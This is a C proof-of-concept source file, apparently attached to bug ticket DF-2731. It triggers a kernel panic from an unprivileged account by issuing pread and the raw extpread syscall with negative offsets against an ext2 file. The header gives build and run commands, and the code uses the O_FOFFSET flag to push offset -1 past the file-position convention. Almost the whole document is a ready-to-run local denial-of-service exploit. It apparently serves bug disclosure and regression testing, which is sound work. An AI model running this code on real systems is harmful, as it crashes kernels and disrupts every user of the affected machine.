DF-2731 / ext2trig.c
/* * DF-2731 trigger: unprivileged pread() at a negative offset on an ext2 file. * sys_extpread (sys/kern/sys_generic.c:153-180) hands the raw negative offset * to VOP_READ; ext2_read() validates it only with * KASSERT(uio->uio_offset >= 0, ...) [ext2_vnops.c:1842] * which is a kernel panic on INVARIANTS kernels. * * Build: cc -O -o ext2trig ext2trig.c * Run: ./ext2trig /mnt/df2731/target.txt (unprivileged) */ #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdint.h> #include <sys/types.h> #include <sys/syscall.h> int main(int argc, char **argv) { const char *path = argc > 1 ? argv[1] : "/mnt/df2731/target.txt"; char buf[8]; ssize_t r; printf("opening %s and issuing pread(fd, buf, 8, -5) ...\n", path); r = pread(-999, buf, 8, -5); /* warm the errno path */ (void)r; int fd = open(path, O_RDONLY); if (fd < 0) { perror("open"); return 1; } printf("fd=%d, calling pread(fd, buf, 8, -5) as uid %d\n", fd, getuid()); fflush(stdout); r = pread(fd, buf, 8, -5); printf("SURVIVED: pread returned %zd errno %d (%s)\n", r, errno, strerror(errno)); /* also the raw form (kernel arg order: fd, buf, nbyte, FLAGS, OFFSET): * the documented O_FOFFSET flag defeats the offset==-1 file-position * convention, so uio_offset stays -1 and reaches VOP_READ. */ r = syscall(173 /*SYS_extpread*/, fd, buf, 8, 0, (off_t)-5); printf("raw extpread(flags=0, offset=-5) returned %zd errno %d\n", r, errno); fflush(stdout); r = syscall(173 /*SYS_extpread*/, fd, buf, 8, 0x200000 /*O_FOFFSET*/, (off_t)-1); printf("raw extpread(flags=O_FOFFSET, offset=-1) returned %zd errno %d\n", r, errno); return 0; } |